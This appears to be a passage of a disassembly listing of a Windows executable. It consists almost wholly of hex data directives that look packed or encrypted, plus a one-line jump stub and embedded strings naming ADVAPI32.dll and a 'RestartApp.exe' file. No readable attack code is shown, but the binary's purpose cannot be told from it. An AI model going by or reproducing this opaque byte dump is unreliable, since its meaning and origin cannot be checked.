0DC4CA0E5h, 309098h, 55C462CDh, 2CC57FDAh, 97527100h dd 4907F8F3h, 69CC88AFh, 3C3DF209h, 0FE3D8111h, 0C4736561h dd 2FB98103h, 80F464DEh, 0C1455FAEh, 9194DC03h, 0B8F6CFFCh dd 92AC4D2h, 4F840AC5h, 99EB5C98h, 7089E900h, 968377Eh dd 2FD105B6h, 0C03AF639h, 569CA1E6h, 5C11D739h, 7F887C08h dd 51480568h, 0C8CF558Dh, 1D07B34Ch, 0B5830FD3h, 0D2408850h dd 94B6301Ch, 68F8BAE0h, 0C115AF12h, 5C49C422h, 0A53CBC54h dd 0ED783F07h, 15DC803Dh, 29D2FAC3h, 7200F8B2h, 0DBB8FCC8h dd 0C7026436h, 0FE368DDh, 80CCF121h, 2622BDCh, 0F82C51E6h dd 58402CE1h, 2F7936DDh, 0C49029C2h, 0FA14885Bh, 4CCAC47h dd 0C32F4C6Ch, 65F030E5h, 32702ECh, 58EE323Bh, 9C668D80h dd 7305B8D2h, 60B393BAh, 327A48Ch, 7197B7FEh, 9DC8312Ch dd 84001EE1h, 0B1CF647Eh, 80AD51E8h, 8216B466h, 400A70A6h dd 1160ECF8h, 3AE97A4Dh, 84075409h, 2FAB3D2Dh, 0F0278D67h dd 0CE19EEB7h, 9440CD4Bh, 69F6B5A4h, 97A80022h, 82C672A9h dd 0A7007E95h, 801C06B9h, 2F1575B8h, 0CB8FAAEh, 0D1003E1Dh dd 38A0F01Eh, 171CEAh, 87190EF8h, 5744A899h, 4AFA709Ah dd 4726C8A6h, 0E81DDB80h, 2800C46Eh, 296354BBh, 0CC9100BFh dd 86B53C14h dd 54BC27A0h, 816834BAh, 1ABD6880h, 72B82CDCh, 8FF41DF4h dd 9E0AE13Ch, 51D761DCh, 58F8C306h, 7BFE7A77h, 2590A0A3h dd 0B09EB332h, 2E5B6640h, 93C4006Eh, 762201B7h, 7E07FA42h dd 60822C40h, 9DBA53A0h, 83470221h, 3EA85FFDh, 0CECC081h dd 48247923h, 54305E00h, 14B4B642h, 804EB987h, 0A59A08C0h dd 8C005E33h, 544D4361h, 0F0BCCFEh, 0E0D95348h, 1877D45Eh dd 8830A316h, 9784811Ch, 0D6931490h, 0B6E3CB02h, 40D8FC5Ch dd 3965B5D7h, 9437227Fh, 0D2810898h, 0A65EC42Ah, 2FB44FF0h dd 3090220Dh, 9700F3B7h, 9B0CFB31h, 5C4BAA6Ah, 0E800AACAh dd 0E42A6C55h, 4C3F3506h, 0D91F9782h, 0AE78030h, 24840EA2h dd 0A880BFC7h, 88660E2Eh, 6D7201Ch, 4012C0EAh, 84B2B24Eh dd 619FAE00h, 10A3890Eh, 0B3DDA200h, 2DFDEF63h, 3590092Ch dd 2068E1DAh, 0FA00BEFFh, 25844DA2h, 0F3D8EB1h, 0FEBC19EDh dd 4BACD3C2h, 7D8324C0h, 53402C9Eh, 652CE4h, 1E62B45Bh dd 11BDD6Dh, 9AEF7602h, 724BBB93h, 0F4F8000Ch, 0DD9462D9h dd 50E86517h, 38FA2A00h, 7B631CE1h, 99040027h, 0DD836976h dd 0A0952CA1h, 7FF9B628h, 0E05916B7h, 509C26CEh, 0F5BFEF00h dd 7164B13h, 0CCC50FD8h, 2DA125A5h, 324A97FDh, 807A3E6Ch dd 51D480B3h, 7556F5h, 118640C1h, 0AE6B431Ah, 0F95F9D88h dd 4877EEF4h, 0A4224474h, 0B20084B0h, 684B1DD8h, 3CAAE3F2h dd 0B740870h, 0AC15D926h, 0FC04E864h, 34AA9D7h, 0BB6A0081h dd 0E0831C38h, 5FD8FF4Dh, 6901541Ah, 777C2A9h, 4180F6E1h dd 0EE72E05Ch, 0DCB873EAh, 0AF221042h, 80359700h, 66DB2728h dd 0A5C3002Ch, 15D86811h, 2F004D53h, 9EE09F70h, 1293B18Eh dd 4059CF73h, 67D91E58h, 0DAFEFCF9h, 26898400h, 0F59F011Ch dd 49B700D8h, 1DC174DDh, 2D52A328h, 824A02C4h, 40EA31F8h dd 194BDA64h, 1A2E1D9Ah, 80202A83h, 360D7B7h, 81CF36Ch dd 898869AFh, 0DF15CB2Bh, 71A8B2C3h, 28037F01h, 0E26B71FDh dd 2D26C34h, 546FBF1Fh, 0F046479Ch, 0FAFF9800h, 55C0D141h dd 68701C13h, 49FB0017h, 589B8CB8h, 7D16A007h, 69500127h dd 3EBA3AD8h, 0C1BA29F6h, 49EBBE00h, 5442DE86h, 0A525441Dh dd 93E149h, 2E335671h, 13320EA8h, 0B9E04BDCh, 0FBD4ED6Ah dd 2D7F1B03h, 2C9A2AB8h, 337A728h, 0F47B29DCh, 2D4ADF98h dd 2125B330h, 6A03AFh, 0F302D293h, 0E5F2A343h, 0B490D103h dd 1F2656F8h, 689229h, 4FDAFBBFh, 4607BE97h, 6DA8E1A0h dd 1F41A561h, 9A980CCFh, 56088E4Fh, 83224500h, 0CB559C38h dd 35E40C26h, 0B83ADE61h, 0A7378103h, 89CFEC72h, 0E7E8F4D3h dd 6F4A1C1Ah, 8C688127h, 202D4051h, 88C39B80h, 78A2A598h dd 49860069h, 0F70E441Ah, 0BE5CF44Eh, 8CB10CF5h, 7D2E31A4h dd 7C2B443Dh, 4C8E3900h, 6FD1DC55h, 99A5308Ch, 805AB29h dd 0AEF2B009h, 4FF0804Eh, 0E8976479h, 0BB41C035h, 5215A566h dd 292B2A00h, 76192C84h, 8E133FC5h, 871EBE80h, 0B8576951h dd 30242300h, 0A88CF743h, 0A69C09Eh, 25AFE15Ch, 0A7229107h dd 0E00F375Dh, 0B74CA9A8h, 0F8C8C06Eh, 5A285C3Dh, 32179C03h dd 0A67292h, 1D3FBAF9h, 6DE1E5BCh, 8DC3D400h, 6138541h dd 4F101850h, 813FB132h, 0C7C57806h, 1E8197E1h, 406CA55Eh dd 0E4FF84BDh, 0D5E9CDC9h, 0A4A888E2h, 5DFD9C98h, 0D0B8C0DEh dd 0F2DD8BEAh, 0E80095F0h, 0E2ECB5F1h, 53A6E1C9h, 0D300B05Eh dd 227D9C8Dh, 0B2790E78h, 0D4C45D54h, 4928E90Eh, 2DCAC0DCh dd 733FBB7Ch, 7EAE03C1h, 0FCFFB545h, 0CCF3F800h, 0AFA4634Bh dd 6859D840h, 0EB3DA935h, 81A1E0FFh, 4E641Ah, 658E127Dh dd 0D663FBEDh, 949AA400h, 0F2D84D6Fh, 8C90F8h, 0FDE5AC43h dd 5EFC41CEh, 0A59DDC09h, 7B2410A9h, 0F7E247h, 6580F228h dd 7702486Bh, 0D2E06111h, 0B1AD6F00h, 387C23F6h, 1C3A5A01h dd 0BECF849Bh, 467BE841h, 109AC080h, 1EED7CADh, 5186771Fh dd 90B98C03h, 0E880B4A9h, 1C95845Fh, 3F1B401h, 12275276h dd 0C864A800h, 0E25F5F7h, 344F305Bh, 20DEC0A1h, 6E00F9F0h dd 0D7EBD5FDh, 70816D3Eh, 48BE7C48h, 0D1616B42h, 24280C2Dh dd 503348DCh, 0E03D8015h, 61B1EFCh, 7347D414h, 6F0031A0h dd 98F5073Eh, 12DDDF9Eh, 0AAB949A7h, 0E3A33900h, 599F02Ah dd 0C28CCAB5h, 718846A2h, 503F41BAh, 83A18E74h, 0F72840AFh dd 3A3DF2F6h, 0AB4C30BEh, 58AC230Fh, 7F50E180h, 0EE1EBD64h dd 42186DF6h, 3B054BF8h, 51801D1Ch, 0EABEC272h, 770CABA2h dd 692B736Dh, 9C70967h, 3C80F3C3h, 95E3CC35h, 41ABA410h dd 0EEBE5600h, 6EEDEAA6h, 392D7330h, 0B49758h, 5B2C752h dd 230DC21Fh, 0AB3FC807h, 1A3A587h, 1080A5B1h, 13E24AAEh dd 2C2442D3h, 6900CD68h, 0C98AA310h, 77C145h, 3DC0AC87h dd 42C56C62h, 369A800h, 0F798CC91h, 5CC71CB3h, 32A5041Ch dd 0D1B58295h, 0FCB2A0A0h, 5E2C1F31h, 0D4007AB3h, 4BA885DCh dd 661C00F5h, 0E9B8F6BEh, 3354AEA4h, 0BD003D70h, 7706809Eh dd 111AAB6h, 148D353h, 0F4A04796h, 0EF002D19h, 0B6E10908h dd 49562205h, 3438C442h, 25E47480h, 2A3AD4D7h, 0B80C1A03h dd 0A2B1A36Ah, 0FA5C40FFh, 44EA48E6h, 0BE95451Eh, 8CA43024h dd 398C890h, 44D6A411h, 0ABE0D10Ch, 40046D9h, 93999DF3h dd 0FC0B775h, 0E9701C6Fh, 0B4D800DFh, 0E0BADB5Ch, 25B82210h dd 99B53300h, 10CA53Fh, 538F8902h, 412904F3h, 0F04CA8D4h dd 0E32601E8h, 4CE06E17h, 1B198147h, 70D34DA0h, 2421C7C9h dd 0D4E120h, 0DC71783Ch, 96B27AAFh, 501249FEh, 201FDEE2h dd 20E0F89h, 2229BE98h, 0F898DDF3h, 8500210Ah, 0A718CC30h dd 0F41AC1h, 5196EDA6h, 4925CD61h, 63BF5502h, 845CB595h dd 1740A8F0h, 9C477370h, 524340BDh, 0A7D00040h, 2EAFD9EFh dd 79023BBCh, 0D27C518Fh, 0B800E0EBh, 0AEED3D91h, 0D5A44706h dd 57E28982h, 0F203CC9Ah, 423EB8D0h, 0F9EF80EAh, 0C0700D4h dd 2E36F75Dh, 0EB0ED47h, 0FB487A60h, 0E942AFh, 4E1A4894h dd 0A55BE7A2h, 6C7BE00h, 4367CD9Ch, 0B5E1095Fh, 14855CDBh dd 2408135h, 33B8CCD3h, 15A1B17h, 59963C30h, 12980064h dd 0E1C3EBD0h, 0CCB2F7D7h, 0F801D486h, 5E6FC453h, 3C3022DDh dd 0B1B2E8E3h, 4C4104E4h, 7C0E5321h, 5AE30349h, 1CDAE3A7h dd 0C3D36390h, 904DBBE6h, 7883591Dh, 8D6B440h, 1F89E53Dh dd 6EC01CC6h, 2B5C0203h, 0A0E3CA43h, 0DE333080h, 0DA014903h dd 0ED0C63Dh, 259261C1h, 26B2007Dh, 65A7BDB4h, 0FE63A506h dd 78A15E4Bh, 0A23F00DCh, 85D2EAE2h, 77004943h, 4C65FC60h dd 2F7687h, 4517BED8h, 0BA9B10CCh, 0A506AF00h, 0F0021C72h dd 0B394380Dh, 11606A2Eh, 7399085Fh, 0F3FB8022h, 52C3A0F6h dd 84B9743Bh, 0FDC0F823h, 7B6570C0h, 0ACFF48DFh, 0E78A1181h dd 0BDF1F839h, 4D736690h, 89627100h, 0F5E3BBDAh, 50F80AB8h dd 41B4565Ch, 0F4B17E43h, 0FB09EA74h, 1844B5F2h, 775B2370h dd 13F3033Ch, 67898F88h, 875D92D0h, 3BB92E02h, 40406FAEh dd 207910Ch, 783951AAh, 0D4634C58h, 45C601D0h, 6184ED00h dd 0EED0DDEAh, 1894908Eh, 20EBA6E7h, 2C00C9BDh, 9E81B7DEh dd 1C5AE946h, 8012C707h, 6931B648h, 0F600D0EEh, 0C66F67AAh dd 609EDA5Ah, 862A61C5h, 0CD0FF065h, 259B11E0h, 61C07617h dd 0C0F9E991h, 0A3DE0108h dd 2B008841h, 69873F4Ah, 0BBCB9Ah, 5F05212Ch, 0DA82C8EFh dd 6F974703h, 18527E6Ch, 0A990A461h, 41005339h, 2F67DB80h dd 9A215Eh, 7993E84Eh, 0A0B6FB86h, 1C1FD200h, 0B454B5C5h dd 9138C00Bh, 0CA66CB94h, 3CD1901Bh, 0D94FE059h, 322F82Ch dd 0BA3DC2C4h, 9DA3D19Bh, 7CA9211Fh, 0FA344070h, 93F600E3h dd 2ED4CA9Eh, 1E00312Ah, 750C6B86h, 1B53059h, 153B9589h dd 83C585EAh, 66F6D7F9h, 0E6E3887Dh, 8F7C2D67h, 1E00A578h dd 0B4C25D83h, 74893Fh, 192D161Fh, 286E8E45h, 0D02CB00Ch dd 1DB49F8h, 0D15B98BEh, 0F5BB93EEh, 2E644043h, 1304878Ah dd 0C490CC1Ch, 9446EF81h, 6A97BE0h, 9FB04A89h, 9D00314Dh dd 0E8443558h, 0B17EBC9h, 0D8B3FE6Bh, 0C3480250h, 9C062ADAh dd 8414C049h, 0AB809C30h, 3A352395h, 53BA52FCh, 0D4752183h dd 9EF9311Ch, 0A56980C4h, 7834777Ch, 0D5563B62h, 46663C82h dd 0B480E69Ah, 6F6864EEh, 0F7A0B97Ch, 4700C48Bh, 527F919h dd 1EA037Ch, 82C68D96h, 212208BFh, 7155D41Ch, 0B4286C1Ch dd 34406D52h, 5AFD19C1h, 0DECA03DBh, 0B79DD72Ch, 0B8F2E6B8h dd 296EA930h, 0B0380A31h, 0F16F0195h, 29B18D04h, 0A735F8BBh dd 0CAE074A3h, 0D57082A0h, 23FFD200h, 952AB152h, 20E006Fh dd 3EE0E424h, 9B00AF5Ch, 8788F0C1h, 1D910F25h, 0C06343CBh dd 4DFA3666h, 0C0CCC8E1h, 19685247h, 699C3BD0h, 1BE7E039h dd 9E65410Ah, 1A809C4Bh, 5F21FC36h, 26DE3D1Dh, 8407B88Eh dd 0AE8E6040h, 68000382h, 88C644E6h, 0D6A66BCh, 94A5ADB7h dd 693F859h, 0F407B300h, 7E4150C9h, 229203B0h, 8D45D070h dd 5B42915h, 696200F4h, 3366BEC1h, 7EEA0687h, 2988A47Ah dd 76937B00h, 43468223h, 594B0016h, 89B88040h, 0F298F391h dd 0D0356528h, 0D7209D04h, 5C90C2D0h, 7984D2Ch, 0DC3D176h dd 7C7A80A1h, 1E3D5BB0h, 0A3BB831Ch, 0DFF88EAh, 9E42D731h dd 2488A879h, 47119660h, 0BA57B8h, 251CF98Dh, 0A404DDFDh dd 0D6219760h, 420A1Fh, 24506B3Fh, 94D2DC3Eh, 6CA36300h dd 466DE412h, 3CB4A8BEh, 1D8E00C2h, 2C67D72Bh, 41903D8Ch dd 6510A304h, 0C0AAF481h, 40D0F33Ah, 2EC58200h, 92F50EC0h dd 521B30C2h, 3EE776F0h, 0FC44B600h, 1E09BA39h, 613C1E84h dd 4F82412h, 9072A9FEh, 78565340h, 0A4E74B00h, 1481E05Fh dd 82AB019Dh, 0D1AE7592h, 1D16C41Eh, 0A9110C0Ch, 0E6A73970h dd 0D864003Bh, 6776CC27h, 0E44816E6h, 11FF01A8h, 8CF6D1B2h dd 139A2DF0h, 274A6DB9h, 0A0D12D0h, 4667F4A0h, 0D4C963A7h dd 2AC933Dh, 0B2D766C8h, 0C4A0D6CFh, 1DDC1AABh, 586E0712h dd 2B34F800h, 9B74AAAh, 20ACD755h, 0C91ED501h, 9149806Ah dd 3F0E6C8Ah, 5F66067Dh, 517C6DE3h, 1F70C64Ch, 62C019D8h dd 4FB9B126h, 0C39E34BFh, 0F98B8121h, 0FD9F70EAh, 0F5E00313h dd 0A9078405h, 11AA6000h, 0B5CFF7h, 33F37D84h, 0D0E3B0A4h dd 2069D46Eh, 221BAF11h, 0C41F0065h, 18B93DA2h, 0AE005CB2h dd 1654BAF4h, 282A3667h, 0F89C9E3Ch, 65EB017Eh, 0AD7C5766h dd 40AC4731h, 4A9D0818h, 0A545A1C3h, 0BCB3988Ah, 4CBB00C4h dd 0E6A42392h, 8F3E940Eh, 8A6FBBCAh, 0DC74A91Bh, 9A40B69Fh dd 5592352Ah, 0EC3E4ED6h, 21E05046h, 82993F3Ah, 286D3C9Dh dd 667840B7h, 0D8A0A0B0h, 0D6110067h, 1B871E43h, 5A05C916h dd 6AC67B37h, 4406E860h, 82351D34h, 0F95B0011h, 84A7042Fh dd 0CAE98011h, 4DA6E600h, 310E3D52h, 15586773h, 0F6D183Ch dd 0F1178E78h, 0F0D05FD0h, 8460B186h, 88CF5CEEh, 6402FBD0h dd 3D56413Ah, 9A58E086h, 0FDCE301Fh, 8E6CB821h, 0AC8BE639h dd 8041E3Fh, 9380C613h, 17A0B62h, 2E67A750h, 2068F2DDh dd 377B208h, 2493A424h, 0FF9600BCh, 66940A8Ah, 589E48D4h dd 88ABF601h, 0F9389882h, 1F817B75h, 0FF9C92Ch, 8F002423h dd 0B2B774D5h, 0D90006F6h, 12B11648h, 17E5A15h, 61C9A29Ch dd 8789A409h, 9564CA71h, 24003D77h, 0B1A0E728h, 45928098h dd 2273C126h, 0FC2E6100h, 2D1C0379h, 0CFE2491h, 7A05396Ch dd 0D37B09C6h, 408DD018h, 52E3F488h, 0E158E94Dh, 0E83800CCh dd 92C18898h, 1765E849h, 3301650h, 0DBE98BCDh, 0A6003971h dd 6695DD4h, 4F8C09h, 7894688Ah, 76E2D00Ch, 6BEFD500h dd 89D99C35h, 0C80D472h, 0B4E89983h, 4114C1E5h, 0F800149Eh dd 1953F561h, 311117D3h, 3BD020CFh, 0FE058159h, 7A4F04BCh dd 0C0C04C84h, 19871F95h, 401C7444h, 36A8E38Eh, 0F8814F39h dd 2346BA10h, 0DA16DC2Ch, 7A605C2Ch, 20F278Bh, 68DA2938h dd 8C204A9Fh, 1FAD60F3h, 40D0C823h, 52C7C421h, 0F07C6530h dd 0A3E63200h, 614A2D2Fh, 31160604h, 41CA456Dh, 0BFE60F1Ch dd 0FCCFC2B1h, 6A717180h, 7CB28525h, 3280D602h, 408A4DB6h dd 1DC95A9Ch, 800C902Eh, 665244F0h, 3E078C7Ch, 0F8A29787h dd 95B48180h, 57D644E9h, 69673701h, 1114E086h, 0BB13CCh dd 65EEF1D1h, 8C94495h, 67803494h, 9E721680h, 0E894A070h dd 0B44E0885h, 5800C76Fh, 0C562BE7Eh, 0AE460AEBh, 5F01CCD2h dd 6CFFFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_52EDDC: ; CODE XREF: start:loc_4D3265j ; DATA XREF: start:loc_4D3086o jmp loc_53219D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0Ah dup(0) dd 0DFEFFF00h, 7A4CD9h, 3 dup(0) dd 56FFBA00h, 10A4FFh, 200h, 3 dup(0) dd 5EF28800h, 569E233Eh, 35B00h, 6 dup(0) dd 0E8216000h, 77h, 0C96DA600h, 20004Eh, 0FE030400h, 7Fh dd 0A0B13400h, 59F51200h, 9 dup(0) dd 0FE030400h, 7Fh, 30400h, 0FFFF9400h, 0A94AA9FFh, 580000FFh dd 2, 5 dup(0) dd 0E701AC00h, 77h, 0 dd 0FE030400h, 7Fh, 2 dup(0) dd 56829200h, 7 dup(0) dd 9EA00F00h, 0 dd 0FE030400h, 12FFF07Fh, 0 dd 0E1638500h, 38h, 0 dd 349000h, 0Ch dup(0) dd 0FE030400h, 7Fh, 573E0900h, 58000000h, 2, 2 dup(0) dd 0B09E5900h, 4Eh, 2 dup(0) dd 571FF300h, 0 dd 1B000000h, 0 dd 41024100h, 2, 2 dup(0) dd 100200h, 2 dup(0) dd 0E776CD00h, 581D5477h, 4 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 584E8300h, 100h, 0F8E86D00h, 68h, 58830100h, 5E6B800h dd 1, 0 dd 56280B00h, 4 dup(0) dd 12FFA400h, 3 dup(0) dd 9EFA5600h, 52F76900h, 0 dd 62A36000h, 0D4h, 0 dd 596B6000h, 5 dup(0) dd 569E4900h, 0 dd 5B04EB00h, 11111113h, 530AE111h, 4 dup(0) dd 12FFC400h, 7 dup(0) dd 104AB600h, 37h, 3 dup(0) dd 0ACB1CA00h, 0 dd 12A00h, 2 dup(0) dd 40100000h, 0 dd 0E8216400h, 0E6000077h, 61222977h, 0B9h, 7 dup(0) dd 0A800h, 3 dup(0) dd 0E7550100h, 4Ch, 0E000h, 2 dup(0) dd 5690D100h, 7 dup(0) dd 9EA00F00h, 0FFFFFF00h, 0FFh, 6 dup(0) dd 573E0900h, 2 dup(0) dd 24242400h, 24h, 2 dup(0) dd 531FA500h, 6B0E00h, 3 dup(0) dd 0B8C6700h, 38h, 4 dup(0) dd 0B88500h, 3 dup(0) dd 0FFFFFF00h, 0FFh, 2 dup(0) dd 569E2300h, 567BDA00h, 4 dup(0) dd 0A2A5E700h, 0B62ACF00h, 0E7C4867Ah, 77h, 0 dd 9000h, 4 dup(0) dd 0F493F600h, 532FFD74h, 0 dd 56829200h, 3 dup(0) dd 54000000h, 2, 55597400h, 86h, 0 dd 43989500h, 5307B951h, 0EBA6E900h, 0FFB8DC77h, 0FFh dd 3 dup(0) dd 689BE000h, 3520067h, 61935000h, 0FFh, 0Ch dup(0) dd 0FFE11A00h, 0FFh, 56FA7500h, 96h, 5751B200h, 5 dup(0) dd 5D79FF00h, 64h, 3400000h, 0 dd 81002400h, 5, 13B200h, 0 dd 0FE030400h, 7Fh, 4 dup(0) dd 2006CB00h, 0B1E03451h, 0 dd 0E78B8200h, 77h, 6 dup(0) dd 9E9C3700h, 3 dup(0) dd 3F972E00h, 0B1h, 10h dup(0) dd 59B1B700h, 3 dup(0) dd 573E0900h, 2C000000h, 88h, 9 dup(0) dd 56C06200h, 1Ah dup(0) dd 69DD00h, 0AE001600h, 5C3A4343h, 444E4957h, 5C53574Fh dd 74737953h, 32336D65h, 5644415Ch, 33495041h, 6C642E32h dd 6Ch, 39h dup(0) dd 0DF407400h, 170h, 0Ch dup(0) dd 5821D900h, 7 dup(0) dd 9E939300h, 0 dd 348D8D00h, 69h, 2 dup(0) dd 3800h, 0 dd 0F0898700h, 41h, 0 dd 0B5000000h, 2 dup(0) dd 0FF2AD700h, 531FA593h, 0 dd 9EED3500h, 0DB23EA3Ah, 0A73D557Bh, 2, 5 dup(0) dd 1D46B800h, 5858C365h, 6 dup(0) dd 0FFFFFF00h, 0FFh, 4 dup(0) dd 0F52E0F00h, 77h, 0FFFFFC00h, 77h, 9F1F8400h, 0B5E274h dd 3 dup(0) dd 9E3E3B00h, 0AA13FF00h, 0FFh, 0 dd 6E6E6A00h, 33h, 0FB7EAE00h, 10627577h, 96h, 4 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 9EA037h, 448BE0FFh, 0E0FF0424h, 13h dup(0) dd 0B4000000h, 76h, 9DB16800h, 7 dup(0) dd 6B0E00h, 0BD4CC100h, 0B4A341CAh, 0FFA9A83Fh, 0FFh, 7 dup(0) dd 58217F00h, 2 dup(0) dd 9F156800h, 581F6600h, 5982FE00h, 2 dup(0) dd 56283300h, 0D75AD300h, 58586677h, 575DDD00h, 0 dd 7D8EA500h, 9, 0F493F700h, 74h, 3 dup(0) dd 9EA00F00h, 0 dd 0FFA61C00h, 0E77963FFh, 77h, 18AE6300h, 5666AD00h, 9EA03700h dd 6805F200h, 7Ch, 0 dd 567BDA00h, 2 dup(0) dd 40000h, 0 dd 584E8300h, 0 dd 8F252500h, 0E600003Eh, 77h, 89h dup(0) dd 36363600h, 36h, 0 dd 494E0D00h, 84h, 5 dup(0) dd 0AF1DEE00h, 100h, 34DD2F00h, 5307B9FDh, 0E82FE800h dd 9F156077h, 3F000C00h, 2, 0 dd 0A215C400h, 0FDh, 4A064C00h, 0BBh, 5 dup(0) dd 563B5300h, 0EC6BC600h, 0BAh, 8 dup(0) dd 8BDF3400h, 6Bh, 57FFBA00h, 0FFh, 0 dd 67727300h, 6Fh, 0B646D400h, 0F7h, 3 dup(0) dd 9E6CB000h, 5 dup(0) dd 20BE7900h, 0D9h, 0 dd 7CD6C500h, 25h, 8 dup(0) dd 59F7F300h, 45h, 5 dup(0) dd 9F391E00h, 8043D000h, 14h, 5 dup(0) dd 0E8000h, 5 dup(0) dd 0FE030400h, 7Fh, 0 dd 6A0FA100h, 66h, 0 dd 7C00h, 4 dup(0) dd 9F156800h, 3 dup(0) dd 4479E300h, 2Bh, 0F611F500h, 36h, 0 dd 0F5C65200h, 0DD23D768h, 77h, 400h, 6 dup(0) dd 53156A00h, 0FF230E00h, 0FFh, 157FD000h, 0A29995D5h dd 6 dup(0) dd 89E93700h, 2C5C68D9h, 0A1E9179Ah, 5E41713Fh, 6Fh, 0Fh dup(0) dd 8400h, 4BA8E600h, 0 dd 0F5180B00h, 77h, 2 dup(0) dd 40000000h, 0B02C0800h, 0F9h, 0Bh dup(0) dd 0FE6CD900h, 7Fh, 3 dup(0) dd 11E800h, 0 dd 1B351300h, 0FE03047Fh, 7Fh, 5679C900h, 59FE0800h, 2 dup(0) dd 0E535B100h, 0FF90D1EFh, 0FFh, 0 dd 100h, 0B6h dup(0) dd 52002300h, 9 dup(0) dd 89E93700h, 0D9h, 0Ah dup(0) db 0 byte_530055 db 3 dup(0) ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 36B00h, 0 dd 7C269D00h, 0D4h, 32h dup(0) dd 9E8C0A00h, 0FFFFFE00h, 77h, 0 dd 1DE13F00h, 8, 2 dup(0) dd 0E75CB500h, 0E6000177h, 77h, 0BE02EC00h, 53156900h dd 0Dh dup(0) dd 56BDFA00h, 5627E300h, 12FF5400h, 3 dup(0) dd 0FE030400h, 7Fh, 0 dd 0FFFFFF00h, 94FFh, 9 dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 3248E000h, 3 dup(0) dd 0F7EBB300h, 6D22CC77h, 0FAh, 0 dd 1C671400h, 0D40000FCh, 40000077h, 0FE030400h, 7Fh, 2 dup(0) dd 200h, 37FE800h, 8C00h, 15h dup(0) dd 2DEB00h, 4 dup(0) dd 600h, 2 dup(0) dd 7D100h, 5 dup(0) dd 56FA1100h, 582C0D00h, 2 dup(0) dd 9C00h, 2 dup(0) dd 9BD61500h, 52002358h, 7 dup(0) dd 0BCB8DC00h, 2, 0FFFABB00h, 230AFFh, 0A07FD800h, 0 dd 5A58E500h, 7 dup(0) dd 0E7550100h, 59543D4Ch, 2 dup(0) dd 1D53DB00h, 3Eh, 1Ah dup(0) dd 0D8140B00h, 0B7h, 0 dd 0A78A8600h, 89E937FFh, 0D9h, 0 dd 9E6CB000h, 0FF286600h, 0FFh, 59BF7600h, 9 dup(0) dd 9DD55400h, 55EC0100h, 9E915B00h, 3 dup(0) dd 4D100000h, 0AEFFB000h, 0B6AF101h, 12h, 7 dup(0) dd 0BAA48100h, 0E2h, 591F1900h, 7 dup(0) dd 9E3E3B00h, 5 dup(0) dd 56829200h, 0 dd 24037600h, 7365527Ah, 74726174h, 2E707041h, 657865h dd 0B88500h, 2 dup(0) dd 100h, 0 dd 0F4E5B700h, 2 dup(0) dd 0E776CD00h, 77h, 0E11E7500h, 85h, 0FE030400h, 7Fh, 86B0F00h dd 51h, 0A9FFDD00h, 0FFh, 3 dup(0) dd 0E600F800h, 77h, 0 dd 0FF91E100h, 0FFh, 3 dup(0) dd 0A9271700h, 0FFh, 3 dup(0) dd 59DA1500h, 9 dup(0) dd 574CE500h, 7 dup(0) dd 52002300h, 0 dd 79F2B800h, 5Ch, 0 dd 532BD200h, 6 dup(0) dd 0B2BC6400h, 0D5h, 0 dd 6B0E00h, 5 dup(0) dd 0A9842600h, 0FFh, 29h dup(0) dd 0BCB8DC00h, 2, 2 dup(0) dd 324AF000h, 100h, 2 dup(0) dd 0FF9B3800h, 0FE0398FFh, 7Fh, 0 dd 0A67C1000h, 71h, 3 dup(0) dd 0FF8E4C00h, 0FFh, 12FF5400h, 2 dup(0) dd 83D96300h, 0E802992Bh, 7Eh, 0FE030400h, 7Fh, 3 dup(0) dd 5682A400h, 4 dup(0) dd 0DEFFAF00h, 1, 7 dup(0) dd 0FFFFFF00h, 12FFE0FFh, 9 dup(0) dd 89E93700h, 0D9h, 7 dup(0) dd 6B0E00h, 3A000h, 0 dd 3F94D700h, 74FEh, 3 dup(0) dd 3AC00h, 5 dup(0) dd 56FBF200h, 5 dup(0) dd 4001E800h, 0 dd 0D0700h, 2D343000h, 31h, 0Ch dup(0) dd 10120B00h, 8 dup(0) dd 189A400h, 2 dup(0) dd 0A8910500h, 0DDh, 0FE030400h, 0B41B407Fh, 76h, 59E84700h dd 3 dup(0) dd 9E949900h, 0Dh dup(0) dd 0DA05F200h, 57EE2952h, 2 dup(0) dd 0D301400h, 0F5125400h, 177h, 0A97D6E00h, 0FFh, 3 dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 26053500h, 2Eh, 0 dd 87000000h, 9E69DD02h, 0 dd 5326D600h, 0 dd 7FDB2400h, 4Dh, 58B60C00h, 2 dup(0) dd 320000h, 53269300h, 6 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 53EF7E00h, 0C0h, 0FBB000h, 2 dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 0A701BF00h, 0FFh, 5 dup(0) dd 0E805D800h, 77h, 4 dup(0) dd 342F6600h, 0F1h, 0 dd 1FCFC00h, 0FF95A080h, 0FFh, 0E7A83700h, 77h, 3 dup(0) dd 0D4000100h, 77h, 6 dup(0) dd 57CE3700h, 0 dd 0E6000000h, 77h, 19h dup(0) dd 56EF0100h, 0 dd 5629D900h, 5 dup(0) dd 0D000h, 0 dd 8043D000h, 14h, 0 dd 578EF700h, 0 dd 0BCB8DC00h, 102h, 0 dd 5899F500h, 0 dd 5864E800h, 2 dup(0) dd 9F326800h, 200h, 2 dup(0) dd 56C06200h, 0FE030400h, 185A037Fh, 0C530DF88h, 0A9h dd 6 dup(0) dd 0BCB8DC00h, 2, 0 dd 4414B800h, 1Ch, 7 dup(0) dd 10A000h, 3 dup(0) dd 9E923400h, 0FE030400h, 0FFEF847Fh, 0FFFFC8FFh, 19FFh dd 57332C00h, 2 dup(0) dd 54500h, 20EE900h, 1FCFC00h, 80h, 9E229200h, 4 dup(0) dd 8717FE00h, 6E14F302h, 0A0h, 5 dup(0) dd 20EE900h, 0Ch dup(0) dd 0A8F97100h, 0E9h, 0E7A09900h, 77h, 0A9383900h, 0FFh dd 3F000000h, 2, 3 dup(0) dd 0E75CB500h, 0B9BD4877h, 0FFD725E5h, 0FFh, 0 dd 3900h, 2 dup(0) dd 9EA00F00h, 0 dd 9E2BDE00h, 5 dup(0) dd 65AC00h, 0 dd 6EFFB000h, 1, 2 dup(0) 